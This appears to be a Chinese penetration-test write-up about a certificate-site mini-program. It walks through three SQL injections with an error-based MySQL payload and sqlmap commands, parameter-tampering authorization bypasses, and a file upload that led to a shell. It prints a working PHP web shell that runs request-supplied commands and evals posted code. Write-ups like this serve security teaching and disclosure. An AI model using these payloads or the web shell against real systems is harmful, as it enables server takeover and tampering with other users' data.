0x01 前言介绍
周末闲来无事,打点证书玩玩,没想到居然捡到了一个GetShell的机会。

在此感谢几位师傅的分享与启发:Schneider、FORTUNE、Born towards the sun、n0rma1playe2、君叹。
在这次对某证书站系统的渗透测试中,总计发现了 8个漏洞。

具体包括:3个SQL注入、3个越权漏洞、1个存储型XSS以及最终的1个GetShell。
0x02 SQL注入*3
开局先尝试登录。随便进行身份认证,居然成功认证为了“学生”。从这里其实就能嗅到漏洞的味道——谁家正经系统能让人随便认证成功呢?

如果尝试将身份改为“老师”,则显示为“未认证”状态。

看来,我只能当学生了?(内心OS:不,我偏要当管理员!)

SQL1: 个人信息查询处注入
在测试过程中,发现一个可疑的接口,它会返回当前用户的个人信息。这里很可能会根据手机号去数据库查询数据。

尝试输入单引号,页面报错,直接暴露了后端数据库为 MySQL。

既然确认了数据库,那就用时间盲注验证一下。

很好,响应时间符合预期,而且看起来没有WAF拦截。尝试简单的报错注入,没有成功。

那就上一个稍微复杂点的报错注入Payload:
6' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

注入成功,数据库版本信息被爆出。

手动验证太慢,直接上sqlmap一把梭哈。

果然,和预想的一样,时间盲注、布尔盲注、报错注入统统可行。

如此轻松就拿下一个SQL注入点,不禁让人怀疑,这个系统里还有没有其他类似的漏洞?
SQL2: 预约功能处注入
在预约功能处,又看到了熟悉的 phone 参数。有了之前的经验,现在看到 phone 就觉得它有问题。

测试单引号,这次没有直接报错。

把刚才的报错注入Payload放进去试试。

嗯,系统看起来很“安全”,没有漏洞……才怪!让数据库执行 sleep 命令试试。
结果发现,我让数据库睡5秒 (sleep(5)),页面却睡了远不止5秒,甚至触发了内部服务器错误。

这似乎存在倍率问题?我输入 sleep(0.3),页面睡了近7000毫秒。

看来猜测没错,sleep(0.5) 睡了10000多毫秒。

这让我想起了以前遇到过的一种存在倍率延迟的SQL注入场景。

确认存在时间盲注且无WAF后,继续请出 sqlmap。这里分享一个小技巧:对于参数较多的请求,使用 -p 参数指定要测试的参数(如 -p phone),可以极大节省扫描时间。
命令示例:
python sqlmap.py -u "https://example.com?id=1&phone=123&xxx=aaa&bbb=cccc" -p phone --batch --dbs

SQL3: 取消预约处注入
在测试预约和取消预约功能时,发现取消预约的请求包中有一个 id 参数,猜测是订单号。

依照经验,这种参数很可能也存在注入。直接使用 sqlmap 进行测试。

非常顺利,这可是渗透测试中排查SQL注入的利器。

0x03 越权*3
细心的师傅可能已经发现了问题。

在之前预约和取消预约的请求包中,竟然没有看到 Cookie、Token 等常见的鉴权字段!

起初我猜想,也许系统在登录时已经通过 openid 和手机号绑定,服务端生成了会话ID并缓存,后续通过 User-Agent、IP等设备指纹自动关联,所以无需显式传参。

但转念一想,一个存在多处SQL注入的系统,鉴权机制可能没那么“高级”——更大的可能是压根没做鉴权!
越权1: 为他人预约
我本人的手机尾号是586,测试用的他人手机尾号是011。
首先用自己的账号提交一个预约,然后抓包,将请求中的手机号参数修改为他人的号码。


神奇的事情发生了:我自己的账号下没有出现新的预约订单,而用他人的手机查看时,却发现多了一个并非由他发起的预约。这属于典型的越权漏洞,在安全/渗透/逆向测试中,这类逻辑缺陷非常常见。
越权2: 取消他人预约
既然可以越权为他人预约,那么取消预约很可能也存在同样的问题。
381726 是我自己预约的订单号,381723 是他人预约的订单号。
先拦截自己取消预约的请求,然后将订单号参数 ind 修改为他人的 381723。


发送后,我自己的预约依然存在。

那么,他人的那个订单自然就被我成功越权取消了。


越权3: 开启隐藏功能
最有意思的来了。在“乘车卡”页面,除了查询信息的请求,还有一个 chaxunkaiqi.php (查询开启) 的请求,其响应为“关闭”。

我偏要把它改成“开启”。修改请求重发后,页面果然发生了变化,直接开放了一个新的功能入口——“申请免费乘车”。

这正愁没新功能点测试呢,机会就来了。

0x04 GetShell~
新开启的“申请免费乘车”功能中,存在一个上传图片的入口。

经过测试,这里存在任意文件上传漏洞。直接尝试上传一句话木马文件。

本以为可以轻松拿下,但上传后服务器没有返回文件路径。尝试猜测常见路径无果,初步上传的简单木马似乎被安全软件删除或拦截了(访问返回404)。


于是,换用一个稍作混淆的WebShell:
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
@eval($_POST['pass']);
?>
重新上传。访问Shell文件时,如果页面是空白的,不要怀疑,这通常意味着代码已执行,只是没有输出——换句话说,成功了!

成功GetShell!并且是最高权限,可以浏览服务器目录。


在获得权限后,还顺带在可上传的地方提交了一份存储型XSS的Payload,进一步验证漏洞危害。

0x05 总结
通过这次实战可以看出,挖掘证书站的漏洞并非遥不可及。本次渗透利用的都是一些比较基础的手法,关键在于对脆弱资产的敏锐感知和清晰的挖掘思路。
从一开始,这个小程序就露出了诸多破绽:可以随意认证身份、请求未加密、登录逻辑存在缺陷等等。这些迹象都预示着它很可能是一个“软柿子”。
在平时的渗透测试或安全研究中,我们应该多问几个为什么:正常的功能点是否真的正常? 请求是否缺少必要的鉴权?要敢于猜测后端逻辑,大胆尝试各种可能不正常的操作。挖洞的本质就是与开发人员的思维进行对抗,从非常规的角度发现问题。
希望这次分享的实战过程,能为各位安全爱好者提供一些思路。欢迎在云栈社区交流更多技术心得。
